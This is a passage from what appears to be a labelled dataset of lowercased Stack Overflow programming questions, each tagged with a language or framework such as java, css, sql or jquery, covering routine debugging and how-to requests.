numbers.txt is   + lowest +  . );          //print out the highest value in the list         system.out.println( the highest value in the list is   + highest);     } } </code></pre>   i have tried a few variations and highest value keeps coming back as 0.0,java
how can i override a parent element s padding from a child  i have a ul nested inside a div  with the div having padding set to  0 20px .  i d like to have this one child ul overflow over the parent div and extend out to the page left and right.  how can i do this,css
android list activity  ok  i have a list activity in my application. i have tried to make it so that when a list item is selected to show the selection the background of the view should change. but now when i select one item  the item does get selected  but the background of random list items changes at the same time  but the selection is still correct. where am i making the mistake    <pre><code>protected void onlistitemclick(listview l  view v  int position  long id) {     // todo auto-generated method stub     super.onlistitemclick(l  v  position  id);      cursor c = (cursor) madapter.getitem(position);     string a = c.getstring(c.getcolumnindex(contactscontract.commondatakinds.phone.display_name));     string b = c.getstring(c.getcolumnindex(contactscontract.commondatakinds.phone.number));      if (names != null)     {         if(numbers.contains(b))         {             names = names.replace(a+ ;     );             numbers = numbers.replace(b+ ;     );             v.setbackgroundresource(r.drawable.background);         }         else{             names = names + a +  ; ;             numbers = numbers + b +  ; ;             v.setbackgroundresource(r.drawable.background_sel);         }     }     else     {         names = a+ ; ;         numbers = b+ ; ;         v.setbackgroundresource(r.drawable.background_sel);     } } </code></pre>,android
automatically print the result of expressions in non-interactive python  i would like to find a way where the execution of python scripts automatically write the result of the expressions in the top level  as is done in interactive mode.    for instance  if i have this <code>script.py</code>:   <pre><code>abs(3) for x in [1 2 3]:     print abs(x) abs(-4) print abs(5) </code></pre>   and execute <code>python script.py</code>  i will get   <pre><code>1 2  3 5 </code></pre>   but i would rather have   <pre><code>3 1 2  3 4 5 </code></pre>   which is what one would get executing it interactively (modulo prompts).    more or less  i would like to achieve the contrary of <a href= https://stackoverflow.com/questions/15534880/disable-automatic-printing-in-python-interactive-session >disable automatic printing in python interactive session</a> . it seems that the <code>code</code> module could help me  but i got no no success with it.,python
what am i doing wrong with this modulus   i wrote a c++ program that receives from user a number and print 1 if positive and even  print 2 if positive and odd  print 3 if negative and even  print 4 if negative and odd  print 0 if zero. here s my code:    <pre><code>#include &lt;iostream&gt; using namespace std; int main () { int n; cin&gt;&gt;n; if (n&gt;0 &amp;&amp; n%2==0)     cout &lt;&lt; 1 ; else if (n&gt;0 &amp;&amp; n%2==!0)     cout &lt;&lt; 2 ; else if (n&lt;0 &amp;&amp;  n%2==0)     cout &lt;&lt; 3 ; else if (n&lt;0 &amp;&amp; n%2==!0)     cout &lt;&lt; 4 ; else if (n==0) cout &lt;&lt; 0 ; return 0;  } </code></pre>   everything run pretty well except the 4th case whenever i enter negative and odd it prints nothing on the screen and that means nothing of all these cases are true  what am i doing wrong with the 4th  isn t there a modulus to a negative number or what,c++
not able to create a distribution certificate on apple developer account  <img src= https://i.stack.imgur.com/rnh4w.png  alt= please see the issue screenshot here >    the add certificate(+) takes me to the above screenshot page and am able to create only development certificate. i have worldwide developer relations certificate authority installed in my keychain.,ios
angular radio button scope  i m working on a radio button list where a user can select from a pre-populated list of problems  or select an  other  radio button and then type in their specific problem.     i can get the pre-populated list of radio buttons to work and set the problem (outputting the scope variable confirms this)  but introducing the  other  functionality is stumping me. when i select other  it doesn t seem to bind to the scope variable. i noticed in the dom it s missing an class= ng-scope  that the other radio buttons seem to get from the ng-repeat  but i m not sure if that s the problem.   <pre><code>        &lt;form&gt;            // this part loops through the list of problems and makess radio buttons           &lt;div ng-repeat= problem in selectedtype[ nature_of_problem ] &gt;               &lt;input type= radio  ng-model= $parent.natureofproblem  ng-value= problem /&gt;           &lt;/div&gt;            // ideally this part is where the  other  radio is  it s still in the form           &lt;input type= radio  ng-model= natureofproblem  ng-value= other  ng-checked=  &gt;          &lt;/form&gt; </code></pre>,angularjs
how to seach a list of customers in java using scanner:  can anyone help me please  i m working on this assignment and i m almost done with my code  except that i don t know how to search the list of customers by typing their names. !   <ul> <li>get a list of customers from a file</li> <li>customer contains first name  last name  and email address</li> <li>sort the list by last name</li> <li><strong>search the list for a given name</strong></li> <li> list item   <pre><code>import java.util.*; import java.io.*;  public class computer {   public static void main(string args[]){     scanner console = new scanner(system.in);      //create a file named myfile.txt     createfile object1 = new  createfile();     object1.openfile();     object1.addrecords();     object1.closefile();      //this code reads the file and outputs it on the screen     system.out.println( ----------------------------------------------------------------------- );      system.out.println( this is the list of customers being read from a file called myfile.txt  );     system.out.println( ----------------------------------------------------------------------- );     readfile r = new readfile();     r.openfile();     r.readfile();     r.closefile();       linkedlist&lt;customers&gt; list = new linkedlist&lt;customers&gt;();     try     {       scanner file = new scanner(new file( myfile.txt ));       while(file.hasnext())       {         string name = file.next();         string lname = file.next();         string email = file.next();         list.add(new customers(name lname  email));       }     }     catch (exception e) {         // todo: handle exception     }     collections.sort(list new mycustomers());     system.out.println( this is the list of customers sorted by their last names:  );     system.out.println( -------------------------------------------------------------- );     system.out.println();     for(customers cu:list){         system.out.println(cu);     } </code></pre></li> </ul>,java
setting the value of input type month  how do i set the value of input element type month with javascript    <pre><code>&lt;input type= month&gt; </code></pre>   couldn t find anything about that in the web.,javascript
cannot find class datacontractjsonserializer .net 4.0  i am trying to create an object of datacontractjsonserialize    using system.runtime.serialization.json; does not work  i am using .net 4.0 i have added a referece to system.servicemodel.web  i also have using system.servicemodel.web; in my using statements.     everywhere i read said to adda reference to system.servicemodel.web.dll  but that did not fix it for me,.net
how to rotate image when hover another div   code html :   <pre><code>&lt;div class= images-rotate &gt;  &lt;a href= link login &gt;    &lt;img class= rotate  src= http://localhost/design/images/h_login.png  width= 100px  /&gt;   &lt;/a&gt; &lt;/div&gt;   &lt;div class= abc &gt;  &lt;p&gt;   hello world !  &lt;/p&gt; &lt;/div&gt; </code></pre>   code css :    <pre><code>.rotate{ -webkit-transition-duration: 0.8s;  -moz-transition-duration: 0.8s; -o-transition-duration: 0.8s; transition-duration: 0.8s;  -webkit-transition-property: -webkit-transform;  -moz-transition-property: -moz-transform; -o-transition-property: -o-transform; transition-property: transform;  overflow:hidden;  }   .rotate:hover  { -webkit-transform:rotate(360deg);  -moz-transform:rotate(360deg); -o-transform:rotate(360deg); }  </code></pre>   with this code  when i hover image class  rotate   it will rotate 360deg.    but now i want : when user hover div class  abc   image will auto rotate 360deg.    how to do it   someone can help me. thank you very much !,css
how to add localisation in main.strings   i have an existing localised application with several main.strings files.    now  i add several objects like uilabel for example.    how can i add these strings in the existing main.strings files     -edit*    i currently do that manually by opening each main.strings file and copying an existing translation:   <pre><code>/* class =  ibuilabel ; text =  developped by ; objectid =  ske-kn-dba ; */  ske-kn-dba.text  =  developped by ;   /* class =  ibuilabel ; text =  i change this text ; objectid =  object id ; */  object id.text  =  i change this text ; </code></pre>   where i take the  object id  value from the objet s identity inspector.    don t know if it exists a better way.,ios
inserting data from one table to another repeatedly according to qnty value  i have two tables table1 and table2. i need to insert table values from table1 to table2. the table 1 contain columns nnum code qnty and table2 also same column. i need to insert table1 value to table2 and repeat the insertion according to the qnty value.but my current code is not working properly. here i am attaching the format i need to get. the table2 in the image is the thing i need to get.   <pre><code> protected void button15_click3(object sender  eventargs e) {    string connetionstring = null;             sqlconnection connection ;             sqldataadapter adapter = new sqldataadapter();             dataset ds = new dataset();             int i = 0;             int j = 0;             connetionstring =  data source=xxxxx;initial catalog=xxxxx;user id=xxxxx;password=xxxxxx ;             connection = new sqlconnection(connetionstring);             try             {                 connection.open();                 adapter.selectcommand = new sqlcommand( insert into table2(code  model  num  qty) select code  model  num  qty from table1   connection);                 adapter.fill(ds);                 connection.close();                  string str2 =  select * from table2; ;                 sqlcommand xp2 = new sqlcommand(str2  con);                 con.open();                 sqldataadapter da2 = new sqldataadapter();                 da2.selectcommand = xp2;                 dataset ds2 = new dataset();                 da2.fill(ds2   table2 );                 con.close();                      for (i = 0; i &lt;= convert.toint32(ds2.tables[0].rows[i][ qty ].tostring()) ; i++)                     {                         string str1 =  insert into table2(code  model  num  qty) select code  model  num  qty from table1; ;                         sqlcommand xp1 = new sqlcommand(str1  con);                          con.open();                         sqldataadapter da1 = new sqldataadapter();                         da1.selectcommand = xp1;                         dataset ds1 = new dataset();                         da1.fill(ds1   code );                         gridview1.datasource = ds1;                         con.close();                 }             }             catch (exception ex)             {                 response.write(ex.tostring());             } </code></pre>   }    <a href= https://i.stack.imgur.com/cr3zd.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cr3zd.png  alt= enter image description here ></a>,asp.net
cursor point to left bottom corner <pre><code>div{     width:200px; height:200px; background:red;     cursor:url(images/eyedropper.png) 25 25  auto; }   &lt;div&gt;&lt;/div&gt; </code></pre>   <img src= https://i.stack.imgur.com/eys0d.png  alt= enter image description here >    i have an eyedropper image for cursor like above    my problem is this image point to left bottom corner  but cursor default is point to left top corner. is any way to change pointer to left bottom or move background image,css
printing upside down triangle in c  the following code is supposed to print a rectangle created from right triangles of numbers and astrics but my code only prints out the numbers but its not printing out the astrics like the example bellow.   <pre><code>int x y z;  for (x=1; x&lt;=10; x++)   for (y=1; y&lt;=x; y++)      printf( %d   y);   for (z=0; z&lt;i  ++z)      printf( * ); </code></pre>   this is the example of what the above code is supped to print.   <pre><code>1******* 12****** 123***** 1234**** 12345*** 123456** 1234567* </code></pre>,c
problem passing a list of objects to another class  c++  below i have written a sample program that i have written to learn about passing a list of objects to another class.  i talk about the problems i am having below.   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; using namespace std;  class integer_class {  int var; public:  integer_class(const int&amp; varin) : var(varin) {}  int get_var() { return var; } };  class contains_list {  typedef integer_class* integer_class_star;  integer_class_star list; public:  contains_list(const integer_class_star&amp; listin) : list(listin) {}  integer_class* get_list() { return list; } };  int main (int argc  char * const argv[]) {  // create a vector to contain a list of integers.  vector&lt;integer_class&gt; list;  for(int i = 0; i &lt; 10; i++)  {   integer_class temp_int(i);   list.push_back(temp_int);  } </code></pre>   this is where the errors start occuring.  could someone please look at the second class definition and the code below and shed some light on what i m doing wrong.  thank you so much  as always!    <pre><code> // import this list as an object into another object.  contains_list final(list);   // output the elements of the list by accessing it through the secondary object.  for(int i = 0; i &lt; 10; i++)  {   cout &lt;&lt; final.get_list()[i].get_var();  }   return 0; } </code></pre>,c++
"not allow select same value again in dropdown  i want to disable or hide same value when selected in dropdown.    i have code like this :    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function addrow() {
    var x = document.getelementbyid( bon ).rows.length;
    var table = document.getelementbyid( bon ).getelementsbytagname( tbody )[0];
    var row = table.insertrow(-1);
    var cell1 = row.insertcell(0);
    var cell2 = row.insertcell(1);
    var cell3 = row.insertcell(2);
    var cell4 = row.insertcell(3);
    var cell5 = row.insertcell(4);
    cell1.innerhtml =  &lt;button tabindex= -1  type= button  class= btn red  onclick= javascript:deleterow( +x+ ); &gt; +x+ &lt;/button&gt; ;
    cell2.innerhtml =  &lt;div class= item form-group form-md-line-input &gt;  &lt;select id= select  class= form-control  name= kdbng[]  required=  &gt; &lt;option value=   selected= selected &gt;pilih bahan baku&lt;/option&gt;  &lt; php while($data3=mysqli_fetch_array($tb)){   &gt;        &lt;option value= &lt; php echo $data3[ id_bahan ]  &gt; &gt;&lt; php echo $data3[ nama_bahan ] &gt;&lt;/option&gt; &lt; php  }   &gt; &lt;/select&gt;&lt;/div&gt; ;
    cell3.innerhtml =  &lt;div class= item form-group form-md-line-input &gt;   &lt;input type= number  min= 1  class= form-md-line-input form-control qtbng  name= hrbng[]  required=   data-validate-minmax= 1 10000000000 &gt;&lt;/div&gt; ;
    cell4.innerhtml =  &lt;div class= item form-group form-md-line-input &gt;   &lt;input type= number  min= 1  class= form-md-line-input form-control qtbng  name= qtbng[]  required=   data-validate-minmax= 1 10000000000 &gt;&lt;/div&gt; ;</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table class= table table-hover table-light  id= bon &gt;
     &lt;thead&gt;
     &lt;tr class= uppercase &gt;
     &lt;th width= 10% &gt; # &lt;/th&gt;
     &lt;th width= 30% &gt;nama bahan baku&lt;/th&gt;
     &lt;th width= 30% &gt;harga&lt;/th&gt;
     &lt;th width= 30% &gt;jumlah (kg)&lt;/th&gt;
     &lt;/tr&gt;
     &lt;/thead&gt;
     &lt;tbody&gt;
     &lt;/tbody&gt;
     &lt;/table&gt;
     &lt;a  href= javascript:addrow(); &gt;&lt;button type= button  class= btn btn-primary &gt;+&lt;/button&gt;&lt;/a&gt;</code></pre>
 </div>
 </div>
     help me to make this happen.",php
overflow in div tag doesn t work  i have a div tag with fixed width. now i want that if there is a condition of overflow then text should go to next line automatically. i used overflow:auto but its giving a horizontal scroll bar.     my code is:   <pre><code> &lt;div id= header_area &gt;     &lt;div class= leftalign  style= float:left;width:70%;padding:3px; &gt;         bmt-dtl-customer     &lt;div class= rightalign  style= float:left:width:30%;padding:3px;color:#ffff00;overflow:block; &gt;         version 1.1     &lt;/div&gt;   &lt;/div&gt; </code></pre>,html
accessing instance of class from another instance that already running  i have two project in my c# visual studio solution: main and add. both project using different namespace. let say: mainnamespace and addnamespace.    in the main project i have a form that had an activex windows media player component on it. i have open dialog to open the video and also a button to stop the video. this is dummy button to stop the video.   <pre><code>    public void button2_click(object sender  eventargs e)     {         stopmovie();     }      public void stopmovie()      {         axwindowsmediaplayer1.ctlcontrols.stop();         messagebox.show( video stoped! );        } </code></pre>   in my add project i have function that want to call the stopmovie() function remotely. so i declare something like this:   <pre><code>void remotestop() {      mainnamespace.main ff = new mainnamespace.main();      ff.stopmovie(); } </code></pre>   the code is run without error  but only execute the messagebox ( video stoped! ) and my video is still keep running. but when i press the stop button in the main from it does stop the video. am i miss something here     thanks.    <strong>update: solved</strong>    i accessed via form (that already running):   <pre><code>        formname remotekill = (formname)application.openforms[ formname ];         if (remotekill != null)         {             remotekill.stopmovie();                         } </code></pre>,c#
how to save type as a variable and use it in cast  i have the following code:   <pre><code>public class myclass {...}  private void foo(myclass _param)  void caller {     object obj = new myclass();     foo((myclass)obj); } </code></pre>   i want to mention <code>myclass</code> only once and use it later as follows:   <pre><code>void caller {     class&lt; &gt; clazz = myclass.class;     ...     object obj = new clazz();     foo((clazz)obj); // compile error:  unknown class  clazz   } </code></pre>   is it possible to achieve <br> any help would be appreciated,java
mvc 4 empty template page not found using model data  i have started with an empty template in mvc 4 and i can access model data from views fine. however when i add a shared folder  _layout.cshtml and _viewstart.cshtml  any time i try to output information from a model i get  page not found .     if i remove the model data from the markup and use plain html my layout and view load correctly. any ideas      i know i could of used the internet application template but i wanted to start from scratch and have already completed a lot of my model classes and configured di.    many thanks,asp.net
size method with imposed prototype c++  i have some issue while writing the following function :    <pre><code>static int taille(const pelement&lt;t&gt; * l) </code></pre>   that s how our teacher tell us to write that function which return the size ( the word  taille  means size in french ).    so i thought about declaring a pointer on a pelement in the function. and do the following :   <pre><code>static int taille( pelement&lt;t&gt; * l) {     int somme;     pelement&lt;t&gt; * it = new pelement&lt;t&gt;(null  null);     it = l;     for (somme = 0; it != null; it = it-&gt;s)     {         somme++;     }     return somme; } </code></pre>   that code is working but you have noticed that i removed the const keyword for the parameter (pelement * l) in the function header.    could someone try to explain to me how write that function with the const keyword      thanks in advance.,c++
php: move associative array element to beginning of array  what would be the best method of moving any element of an associative array to the beginning of the array     for example  say i have the following array:   <pre><code>$myarray = array(      two    =&gt;  blah blah blah 2        three  =&gt;  blah blah blah 3        one    =&gt;  blah blah blah 1        four   =&gt;  blah blah blah 4        five   =&gt;  blah blah blah 5   ); </code></pre>   what i want to do is move the  one  element to the beginning and end up with the following array:   <pre><code>$myarray = array(      one    =&gt;  blah blah blah 1        two    =&gt;  blah blah blah 2        three  =&gt;  blah blah blah 3        four   =&gt;  blah blah blah 4        five   =&gt;  blah blah blah 5   ); </code></pre>,php
structure issue c  i am trying to create a program that calculates the value of a resistor given three colour bands  four colours are set to a specific value. i have declared my colours as b  r  o  y. i am having trouble entering a character to specify the value of resistance.     i m sorry if this doesn t make sense it s hard to explain.    the problem occurs on the scanf line.   <pre><code>#include &lt;stdio.h&gt;  int main(void) {   typedef struct    {     char b;     char r;     char o;     char y;   }colour;    colour library[4];   {     library[0].b = 1;     library[1].r = 2;     library[2].o = 3;     library[3].y = 4;   }    colour band_1  band_2  band_3;    //can enter either of 4 values  b  r  o  y   printf( enter the colour of band 1:  );   scanf( %c   &amp;colour);    return 0; } </code></pre>,c
android- create android assets with photoshop  i am not designer and i dont know if i should ask this question here or not   but i need to create some assets to my application.    what i need to know what is the psd file should be to export <code>drawable-xxxhdpi</code>   <code>drawable-xxhdpi</code>   <blockquote>    psd file size  </blockquote>   after long research i find to export <strong>xxxhdpi</strong> assets psd file should be *1440 w * 2560 h*   and to export <strong>xxhdpi</strong> file should be *1080 w * 1920 h*. <strong><em>i need some one correct me if this wrong.</em></strong>   <blockquote>    prepare assets to export  </blockquote>   after create my images (assets)   if it was group of layer i should merge it to single layer   press ctrl + a (select all) . then create new file with preset type custom or clipboard  <a href= https://i.stack.imgur.com/ylhy0.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ylhy0.png  alt= enter image description here ></a>   <blockquote>    export criteria  </blockquote>   to export assets   i save image with save for web option first export will be with the default size mean if i choose to make my file to be 1440 w * 2560 h then my default export will be xxxhdpi .    <a href= https://i.stack.imgur.com/nc5gk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nc5gk.png  alt= enter image description here ></a>    then to export other sizes i will change percentage to   <pre><code>                                xxhdpi to 0.75                                   xhdpi to 0.5                                  hdpi  to 0.37                                  mdpi  to 0.25  </code></pre>   according to <a href= http://developer.android.com/guide/practices/screens_support.html  rel= nofollow noreferrer >android documentation</a>     <a href= https://i.stack.imgur.com/epd9f.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/epd9f.png  alt= enter image description here ></a>,android
any better condition checking   i have one functionality where i am hiding few rows of a table on pageload.after that on click of a span  i am calling the toggle() to dispaly and hide rows in alternate click.now i need to do some additional work after the toogle()  for that i am doing one check   <pre><code>            $myrows.toggle();              if ($myrows.css( display ) ===  none ) {                //my code             }             else {                      //mycode                    } </code></pre>   now can i have some better checking instead of   <strong>if ($myrows.css( display ) ===  none )</strong>  its working fine  but can i go for any better condition checking.,jquery
many to many: nameerror exception  i have the following models:    <strong>group.rb:</strong>   <pre><code>class group &lt; activerecord::base   has_many :users_groups   has_many :users  through: :users_groups end </code></pre>   <strong>user.rb:</strong>   <pre><code>class user &lt; activerecord::base   has_many :users_groups   has_many :groups  through: :users_groups end </code></pre>   <strong>users_groups.rb</strong>   <pre><code>class usersgroups &lt; activerecord::base     belongs_to :user     belongs_to :group end </code></pre>   when i type <code>@group.users</code> in rails  console  it throws an error:   <pre><code>nameerror: uninitialized constant group::usersgroup </code></pre>   when i change <code>usersgroups</code> to <code>usersgroup</code> in users_groups.rb i still get the same error.    i am using rails 4.0.2. is this a bug,ruby-on-rails
are there any ways to know when one of the apps are opened   i want to do a tiny service to record how many times the apps are opened.    for example  when i open the web browser  the counter of web browser will be increased.    when i open the google market  the counter of google marker will be increased.     so  how could i increase the counter for each apps when the apps are opened,android
sql method to replace repeating blanks with single blanks  is there a more elegant way of doing this. i want to replace repeating blanks with single blanks....   <pre><code>   declare @i int      set @i=0     while @i &lt;= 20     begin         update mytable         set mytextcolumn = replace(mytextcolumn           )         set @i=@i+1     end </code></pre>   (its sql server 2000 - but i would prefer generic sql),sql
add a number to the item in a collection  how do i add a number to the item in a collection     the collection:   <pre><code>public property mycol as observablecollection(of item) </code></pre>   item:   <pre><code>public class item     public property id as long     public property count as double end class </code></pre>   and let s say this is my collection (id  count)   <ul> <li>1  500</li> <li>2  300</li> <li>3  400</li> </ul>   ...and i want to add 100 to the item with id=2. how do i do it,.net
sql how to add parentheses to output data  for a college assignment i need to show the last column of output data in parentheses as shown below.    my current query is:   <pre><code>select substring(firstname 1 1) as      .  as     lastname as     upper(title) as     from employees where (title !=  sales representative ); </code></pre>   this query shows the output as:   <pre><code>b . brown    storeman c . carr     receptionist d . dig      driver </code></pre>   i need it to show:   <pre><code>b . brown    (storeman) c . carr     (receptionist) d . dig      (driver) </code></pre>,sql
how to select images whose src is set in jquery   select these:   <pre><code>&lt;img src= ... &gt; </code></pre>   but not:   <pre><code>&lt;img /&gt; </code></pre>,jquery
how to make a submit button of form in html looks like a link   i use <code>&lt;input type= submit  value= insert /&gt;</code> as a button in html. but how can i make this button look like a link (word with underline) but still works like a button (submit the form),html
insert values from two tables into one table  now  new scenario in continuation to <a href= https://stackoverflow.com/questions/26092997/insert-values-from-a-table-to-a-table >base question</a> is as below:    table:<code>menu_list_hed</code>    <pre><code>menu_id    menu_name    shop_id    menu category --------------------------------------------  1        breakfast      12          veg  2        dinner         12          veg  .... many more  85       breakfast      13          veg  36       dinner         13          veg  .... many more </code></pre>   i have another table called <code>menu_items</code> which already has items for <code>shop_id</code> 12   <pre><code>id     shop_id    menu_id   item_name --------------------------------------  1      12           1       roti  2      12           1       prantha  3      12           2       thali  4      12           2       sweet  .... many more </code></pre>   now i want the items to be inserted for <code>shop_id</code> 13 because <code>items</code> are same but <code>shop_id</code> and <code>menu_id</code> will be different as below:   <pre><code>  id     shop_id    menu_id   item_name --------------------------------------  1      12           1       roti  2      12           1       prantha  3      12           2       thali  4      12           2       sweet  .... many more  111     13          85      roti  112     13          85      prantha  113     13          36      thali  114     13          36      sweet </code></pre>   i copied values by using query in previous question and then running update statement like as   <pre><code>update item  set `menu_id`= 85 where `menu_id` = 1 and restaurant_id = 13; </code></pre>   but i want to achieve it with single query,mysql
not able to write to a file  my programs have been running properly for over a year. today i copied the files onto a different system and compiled every program.    when i compile and run from dev-c++ it writes data onto a text file like its supposed to  but when i click on the executable it creates  it does not write data onto the file. everything else like input/output seems to work.    what procedure have i missed     ok i ve given the program full permision but it still does not write.    i m quite puzzled  atleast if it didn t run when i compile it in the c++ environment i can keep checking my code  but only the .exe does not work  any other suggestions     <pre><code> #include &lt;iostream&gt;   #include &lt;fstream&gt;  using namespace std;   int main() {    ofstream bss2;   bss2.open( expat.txt  ios::app);  bss2 &lt;&lt; 2 ;   bss2.close();  }  </code></pre>   this is the sample code i tested out.    how do i find the current working directory      ok i changed a line to    <pre><code>bss2.open( c:\\expat2.txt  ios::app); </code></pre>   and now it works properly in the exe file.    but there s over 50 files and i prefer i didn t have to spell out the new path to each one  what workaround is there to set the directory to the one previously used      update 4 :   <pre><code> #define _posix_source  #include &lt;unistd.h&gt;  #undef _posix_source  #include &lt;stdio.h&gt;   main() {    char cwd[256];    int y;    if (chdir( /tmp ) != 0)      perror( chdir() error() );    else {      if (getcwd(cwd  sizeof(cwd)) == null)        perror( getcwd() error );      else        printf( current working directory is: %s\n   cwd);    }    scanf(y);  } </code></pre>   ok i used the getcwd() and this is the message it gives me    chdir() error(): no such file or directory    how do i set the directory now.,c++
compare dates in javascript not working  why is below code  for comparing dates in java script  is not working.   <pre><code>var fromdate=document.getelementbyid(attendancefromdate_txt).value; alert(fromdate); var val123=document.getelementbyid(attendancetodate_txt).value;  var check = new date(fromdate) ; var check123 = new date(val123) ;  if (check &lt; check123) {     alert( please enter from date less than to date ) ; } </code></pre>,javascript
checkbox checked or unchecked <pre><code>function check_clickd_li(objref) {     var btn1 = $find( &lt;%= radbutton1.clientid %&gt; );     var btn2 = $find( &lt;%= radbutton2.clientid %&gt; );                     if (objref.checked = true) {         btn1.set_enabled(true);         btn2.set_enabled(true);         alert( enable );     }     else if (objref.checked = false) {         btn1.set_enabled(false);         btn2.set_enabled(false);         alert( disable );     } } </code></pre>   what is the problem in this code  it always says  enable .,javascript
how to differentiate columns based on if else in sql  i have a <code>order</code> table with columns <code>scheduled_arrival_date</code> and <code>actual_arrival_date</code>   i need to  find out which order delivered early and late and i need to differentiate orders based on that(two columns should be created )   as i don t have permission to create new table so i need get this from query. i tried this  but am getting in single column   <pre><code>select order.id order.item       case  when  scheduled_arrival_date &gt;= actual_arrival_date                        then  late              when  scheduled_arrival_date &lt;= actual_arrival_date                        then  early              end as delivered    from order  </code></pre>,mysql
why is the size of the datatype  byte  one byte   i ve tagged this with <a href= /questions/tagged/c%23  class= post-tag  title= show questions tagged &#39;c#&#39;  rel= tag >c#</a> but i guess  this will be the same for other programming languages.    okay why is one <strong>bool</strong> exact one byte but a single bit could already say its <strong>true</strong> or <strong>false</strong>  because the other bits are used to allocate the object in memory  right     but when this is true  why is one <strong>byte</strong> (datatype) exact one byte large,c#
"jquery .click() function not firing more than one time  so i have written an html page that when a name is clicked  that name fades out. the code looks something like this     <div class= snippet  data-lang= js  data-hide= false  data-console= true >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
 &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js &gt;&lt;/script&gt;
 &lt;script&gt;
 $(document).ready(function(){
     $( #names ).click(function(){
         $(this).fadeout();
     });
 });
 &lt;/script&gt;
 &lt;/head&gt;
 &lt;body&gt;
 
 &lt;p id =  names &gt;john doe&lt;/p&gt;
 &lt;p id =  names &gt;jane doe&lt;/p&gt;
 
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
  every time i run it i can only click one name... i would like to be able to click every name so that they all disappear... any suggestions",jquery
why isnt my code working   i am using javascript  and when i press the left or right button  the contact information should change. nothing happens when i press the left or right button though  why    <pre><code>var currentindex = 0;  var contact1 = {}; contact1.name =  fred ; contact1.phone =  555-555-5555 ; contact1.birthday =  1/1/1970 ; contact1.imageurl =   https://images.code.org/53a5bdfb7f4ec83174756c8e094558fd-image-  1449518131328.png ;  var contact2 = {}; contact2.name =  steve ; contact2.phone =  609-889-4738 ; contact2.birthday =  3/15/1992 ; contact2.imageurl =   data:image/jpeg;base64  ;  var contact3 = {}; contact3.name =  sarah ; contact3.phone =  304-812-4509 ; contact3.birthday =  6/23/2001  contact3.imageurl =  https://3.bp.blogspot.com/-jiolakwinsq/wni55 ; var contacts = []; appenditem(contacts  contact1); appenditem(contacts  contact2); appenditem(contacts  contact3);  console.log(contacts);  showcurrentcontact(settext( contactinfo   name:  +  contacts[currentindex].name +  phone:  +contacts[currentindex].phone  + birthday:   +contacts[currentindex].birthday));  onevent( viewcontactsscreen    keydown   function(event) {   if(event.key ==  left ){     currentindex--;     currentindex = wrap(currentindex  0  contacts.length-1);     showcurrentcontact();   } else if (event.key ==  right ){     currentindex++;     currentindex = wrap(currentindex  0  contacts.length-1);     showcurrentcontact();   } }); </code></pre>   thanks!,javascript
links are shown  but you can t click on them   on my site  pages where i have added links to the footer (like <a href= http://msdhosting.tk/signup/  rel= nofollow >http://msdhosting.tk/signup/</a>) but when i move over them and try to click them  they don t appear to be links and they don t go anywhere.    any ideas,html
getting working days using javascript  i m trying to get the working days between two date. example: stdate = 28/10/2011 and endate = 04/11/2011. this should be 6 working days  but its only giving 5 days.   <pre><code>var workingdays = 0; var weekday     = new array(7); weekday[0]= sunday ; weekday[1]= monday ; weekday[2]= tuesday ; weekday[3]= wednesday ; weekday[4]= thursday ; weekday[5]= friday ; weekday[6]= saturday ;  while (stdate &lt;= endate)  {     var day = weekday[stdate.getday()];     if(day !=  saturday  &amp;&amp; day !=  sunday )      {         workingdays++;      }     console.log(weekday[stdate.getday()]);     stdate = new date(stdate.gettime() + 86400000);  } </code></pre>   the console log shows the results below.   <pre><code>friday saturday sunday sunday monday tuesday wednesday thursday </code></pre>   sunday shows twice for some reason. any help would be appreciated.,javascript
select newest entry from each column  i have a sql table about as follows:   <pre><code>id | timestamp | position | size | level </code></pre>  <ul> <li><code>id</code> is the primary key and will always have a value</li> <li><code>timestamp</code> is a numerical time representation</li> <li><code>position</code>  <code>size</code> and <code>level</code> may have a value  or they may be null</li> </ul>   i want to execute a query which will get the newest non-null position  size and level as determined by the timestamp in the row it belongs to.    how do i do that,sql
web project transfered between users loads different global assembly cache libraries  web project transfered between users on same machine loads different global assembly cache libraries when compiled/debug    i have taken over a project from another developer.    it is an asp.net vb web project developed in visual studio 2010    i am working on the same machine that the previous developer used.    i have access to the previous developers account.    if i login as the previous developer and go to file -> open web site… i can get the web site to debug and run.    if i copy the website to my user name and try to open the website i notice different results in the output window:   <pre><code> webdev.webserver40.exe  (managed (v4.0.30319)):   loaded  c:\windows\microsoft.net\assembly\gac_msil\system.web.webpages.deployment\ v4.0_1.0.0.0__31bf3856ad364e35\system.web.webpages.deployment.dll          webdev.webserver40.exe  (managed (v4.0.30319)):  loaded  c:\windows\microsoft.net\assembly\gac_msil\system.web.webpages.deployment\ v4.0_2.0.0.0__31bf3856ad364e35\system.web.webpages.deployment.dll  </code></pre>   the difference is v4.0_1 versus v4.0_2    there are others.     the end result is that the browser window opens to a blank page and continually produce error messages in output window.    how do i stop this from happening     thanks!,asp.net
angular - constant variable decided conditionally  in my angular app i have defined a constant such as:   <pre><code>var app = angular.module( app   [ ngtagsinput ])    .constant( api    https://www.example.com/api/v1 ) })(); </code></pre>   however i want this api url to be dependant on a constant i have set above  namely:   <pre><code>var working_on_env =  dev ; </code></pre>   so i ve tried to implement this using the following - however its not working - is this actually possible with angular constants :   <pre><code>.constant( api   function() {   if (working_on_env ==  prod ) {     return  https://www.example.com/api/v1    } else {     return  https://www.example.com/api/v2    } }) </code></pre>   any advice appreciated.    thanks.,angularjs
python object as argument of a function  i know that python pass object by reference  but why the second output of codes below is 3 other than 10    <pre><code>class a():     def __init__(self  value):         self.value = value  def test(b):     b = a(10)  b = a(3) print(b.value) test(b) print(b.value) </code></pre>,python
